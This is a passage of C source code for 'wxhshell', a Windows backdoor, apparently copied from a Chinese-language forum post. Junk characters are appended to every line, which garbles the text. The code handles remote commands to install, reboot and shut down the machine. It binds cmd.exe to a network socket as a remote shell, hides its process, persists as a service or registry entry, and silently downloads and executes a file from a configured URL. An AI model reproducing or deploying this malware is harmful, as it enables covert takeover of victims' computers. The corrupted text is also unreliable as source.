  } *Y7u'v  
  else { W_(j3pV?Ml  
k],Q9  
    switch(cmd[0]) { !1 H# 6  
  9BBmw(M}  
  // 帮助 0 e ~JMUb  
  case '?': { Z!zF\<r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3/e.38m|  
    break; EPM-df!=  
  } J({Xg?  
  // 安装 RF4vtQC=  
  case 'i': { 9FYUo  
    if(Install()) tKx~1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gS]@I0y8 .  
    else ZWU)\}}_R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n QZwC  
    break; }1i`6`y1  
    } gANuBWh8T  
  // 卸载 Rmt~,cW!\  
  case 'r': { _w+:Dv~*a  
    if(Uninstall()) ?u=Fj_N_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j8{i#;s!"  
    else qqr?!vem6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f:|1_j  
    break; 6J6BF%  
    } J76kkW`5  
  // 显示 wxhshell 所在路径 QIvVcfM^  
  case 'p': { {e9@-  
    char svExeFile[MAX_PATH]; JZ*/,|1}EC  
    strcpy(svExeFile,"\n\r"); BmMGx8P  
      strcat(svExeFile,ExeFile); 6x[}g  
        send(wsh,svExeFile,strlen(svExeFile),0); A_ N;   
    break; FvXZ<(A{  
    } \[_t]'p  
  // 重启 a /l)qB#  
  case 'b': { {9;CNsd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >#~& -3  
    if(Boot(REBOOT)) >j(_[z|v3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cr?Q[8%t1  
    else { (\hx` Yh=>  
    closesocket(wsh); 7#ibN!  
    ExitThread(0); q#ClnG*  
    } %D}kD6=  
    break; aweV#j(y  
    } {V$|3m>:*  
  // 关机 xPk8$1meZM  
  case 'd': { O%zU-_|*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cc' 37~6~P  
    if(Boot(SHUTDOWN)) 8\ +T8(m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G"U9E5O  
    else { K&ZtRRDd  
    closesocket(wsh); $i}y8nlQ  
    ExitThread(0); w QH<gJE/:  
    } z/WE,R  
    break; [.'|_l  
    } y'~U%,ki6  
  // 获取shell +]A:M6P:{v  
  case 's': { 3kIN~/<R+7  
    CmdShell(wsh); Ym{tR,g7  
    closesocket(wsh); ?U5{Wa85D  
    ExitThread(0); 6?mibvK  
    break; ^ H ThN  
  } % X+:o]T  
  // 退出 RLynE V;]  
  case 'x': { ~u!|qM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J^nBdofP  
    CloseIt(wsh); 8# >op6^  
    break; F2dHH^  
    } $@Rxrx_@M  
  // 离开 #ASz;$P  
  case 'q': { U;V7 u/{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lL3kh J:%  
    closesocket(wsh); uK#4(eY=W  
    WSACleanup(); gA5/,wDO  
    exit(1); ~xfP:[u  
    break; 7he,?T)vD  
        } T`.O'!  
  } Lh"<XYY  
  } D>@I+4{p  
be{H$9'  
  // 提示信息 3n1;G8Nf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Svt`0|}  
} 1N^[.=  
  } ^ f &XQQY  
ICoHI  
  return; .hP D$o  
} ARVf[BAJ-*  
2d(e:r h]  
// shell模块句柄 NP#w +Qw  
int CmdShell(SOCKET sock) z^q0/'  
{ YTpSHpf@  
STARTUPINFO si; c9'vDTE%~  
ZeroMemory(&si,sizeof(si));  &)Tdc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OwUhdiG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GT!M[*[  
PROCESS_INFORMATION ProcessInfo; wj<6kG  
char cmdline[]="cmd"; /y#f3r+*2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Z3F1Cq?  
  return 0; mpEK (p  
} Sh~dwxp*"  
}6}l7x  
// 自身启动模式 r CHl?J  
int StartFromService(void) JEwa &  
{ -M~:lK]n   
typedef struct OU(8V^.  
{ s1$nvTzBr  
  DWORD ExitStatus; u+e{Mim  
  DWORD PebBaseAddress; Z{Qu<vy_  
  DWORD AffinityMask; Y3cMC)  
  DWORD BasePriority; hh)`645=x  
  ULONG UniqueProcessId; D|L9Vs`  
  ULONG InheritedFromUniqueProcessId; ' !cCMTj  
}   PROCESS_BASIC_INFORMATION; (KD RkE|=  
ksqQM  
PROCNTQSIP NtQueryInformationProcess; `$<.pOm  
m 3hrb-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2K6qY)/_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7Lc]HSZo,  
)?n aN  
  HANDLE             hProcess; o>i4CCU+  
  PROCESS_BASIC_INFORMATION pbi; A5RN5`}  
]G= L=D^cK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qI9z;_,gNz  
  if(NULL == hInst ) return 0; K5VWt)Z#  
m6K}|j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6NuD4Ga  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S_4?K)n #  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K.nHii   
(sTpmQx,b  
  if (!NtQueryInformationProcess) return 0; Y>T-af49  
$}q23  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4Zddw0|2  
  if(!hProcess) return 0; LTCb@L{^i  
~&_z2|UXp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T_ <@..C  
d-ZJL6-  
  CloseHandle(hProcess); @|m/djN5x  
D~iz+{Q4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -1_)LO&H  
if(hProcess==NULL) return 0; $q{!5-e  
e8!5 I,I  
HMODULE hMod; rjAn@!|:+  
char procName[255]; o5O#vW2Il&  
unsigned long cbNeeded; (k)v!O-  
ww3-^v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z`}qkbvi  
1;8UC;,  
  CloseHandle(hProcess); S-b/S5  
EIAc@$4  
if(strstr(procName,"services")) return 1; // 以服务启动 TR`U-= jH,  
beGa#JH,  
  return 0; // 注册表启动 tBWrL{xLe  
} (vnAbR#e  
{.|CdqwY  
// 主模块 XS{Qnx_#  
int StartWxhshell(LPSTR lpCmdLine) B eo@K|3GN  
{ "ycJ:Xv49  
  SOCKET wsl; P%VSAh\|n  
BOOL val=TRUE; ({)+3]x  
  int port=0; mb3"U"ohs  
  struct sockaddr_in door; |4z IfAO  
cn3\kT*  
  if(wscfg.ws_autoins) Install(); su( 1<S}  
rJT a  
port=atoi(lpCmdLine); F6|]4H.3Q  
1D7 `YKI9h  
if(port<=0) port=wscfg.ws_port; [Ek7b *  
o5GcpbZ3k  
  WSADATA data; (@VMH !3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LEf^cM=>  
D%SlAzZ3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X-Kh(Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2(+2+ }  
  door.sin_family = AF_INET; ~<5!?6Yt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "| g>'wM*  
  door.sin_port = htons(port); @%uUiP0  
@ioJ] $o7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E_wCN&`[  
closesocket(wsl); [ /b2=>  
return 1; j0aXyLNX  
} lU\ [aNs  
]^7@}Ce_  
  if(listen(wsl,2) == INVALID_SOCKET) { h"Q8b}$^)  
closesocket(wsl); wv1iSfW  
return 1; !hy-L_wL]  
} q!7ANib6O  
  Wxhshell(wsl); UnV.~u~  
  WSACleanup(); ,PW'#U:  
<2x^slx)?  
return 0; i$#;Kpb`^  
5H9z4-i x?  
} gPO}d  
KYI/  
// 以NT服务方式启动 8MtGlW%Eh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "m8^zg hL  
{ @n /nH?L  
DWORD   status = 0; ~jk|4`I?T  
  DWORD   specificError = 0xfffffff; $( kF#  
"|q& ea rc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #q$HQ&k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZJJY8k `  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f~R(D0@  
  serviceStatus.dwWin32ExitCode     = 0; R+z2}}Z!`  
  serviceStatus.dwServiceSpecificExitCode = 0; Y\P8 v  
  serviceStatus.dwCheckPoint       = 0; #p&qUw  
  serviceStatus.dwWaitHint       = 0; 7Q9 w?y~c  
@*XV`_!h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  4e7-0}0  
  if (hServiceStatusHandle==0) return; Iyn(?w  
#gN&lY:CFn  
status = GetLastError(); bsli0FJSh'  
  if (status!=NO_ERROR) _J#zY- j  
{ lfgq=8d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |syR6(U}  
    serviceStatus.dwCheckPoint       = 0; .`H5cuF`  
    serviceStatus.dwWaitHint       = 0; lrE5^;/s1  
    serviceStatus.dwWin32ExitCode     = status; GL}]y -f  
    serviceStatus.dwServiceSpecificExitCode = specificError; ec;o\erPG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }R2u@%n{  
    return; J]'zIOQ  
  } ^uc=f2=>,  
Ge@{_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `/+>a8  
  serviceStatus.dwCheckPoint       = 0; %aCqi(.7  
  serviceStatus.dwWaitHint       = 0; ^z*t%<@[Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wvh#:Z  
} _ 4~+{l+  
Bk c4TO  
// 处理NT服务事件,比如:启动、停止 i&fuSk EP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &6!)jIWJ  
{ $%d*@ 'c  
switch(fdwControl) V f&zL Sgr  
{ FD #8mg  
case SERVICE_CONTROL_STOP: O0v}43J [  
  serviceStatus.dwWin32ExitCode = 0; F/{!tx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b8t7u  
  serviceStatus.dwCheckPoint   = 0; qe#tj/aZ  
  serviceStatus.dwWaitHint     = 0; 0[(8   
  { ? OM!+O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1CZgb   
  } <'oQ \eB  
  return; PC8Q"O  
case SERVICE_CONTROL_PAUSE: (ZZ8L-s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]_gU#,8  
  break; q3!bky\  
case SERVICE_CONTROL_CONTINUE: lUZ+YD4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .`eN8Dl1  
  break; !e<^? r4  
case SERVICE_CONTROL_INTERROGATE:  kDioD  
  break; bAqA1y3=  
}; .L~AL|2_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2%m BK  
} 2/^3WY1U  
</z Eg3F\  
// 标准应用程序主函数 C,r;VyW6BI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *i%d,w0+  
{ ~36!?&eA8  
d7upz]K9g  
// 获取操作系统版本 U iW>J  
OsIsNt=GetOsVer(); g! |kp?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;6$jf:2m  
_B<X`L =  
  // 从命令行安装 rb.N~  
  if(strpbrk(lpCmdLine,"iI")) Install(); $U WZDD  
6bC3O4Rw  
  // 下载执行文件 _`T_">9r  
if(wscfg.ws_downexe) {  }my`K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S,UDezxg  
  WinExec(wscfg.ws_filenam,SW_HIDE); v!5 `|\  
} a1lh-2x X  
T8$y[W-c  
if(!OsIsNt) { kDxFloK  
// 如果时win9x,隐藏进程并且设置为注册表启动 u6JM]kR  
HideProc(); rEW b"  
StartWxhshell(lpCmdLine); Svmy(w~m  
} #X1ND  
else |Rk@hzM2S  
  if(StartFromService()) 0GeTS Fj  
  // 以服务方式启动 WOap+  
  StartServiceCtrlDispatcher(DispatchTable); GD$l| |8  
else )y$(AJx$  
  // 普通方式启动 #"~<HG}bR/  
  StartWxhshell(lpCmdLine); y<Ot)fa$  
~c `l@:  
return 0; " H\k`.j  
}
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只看该作者 1 发表于: 2006-10-10
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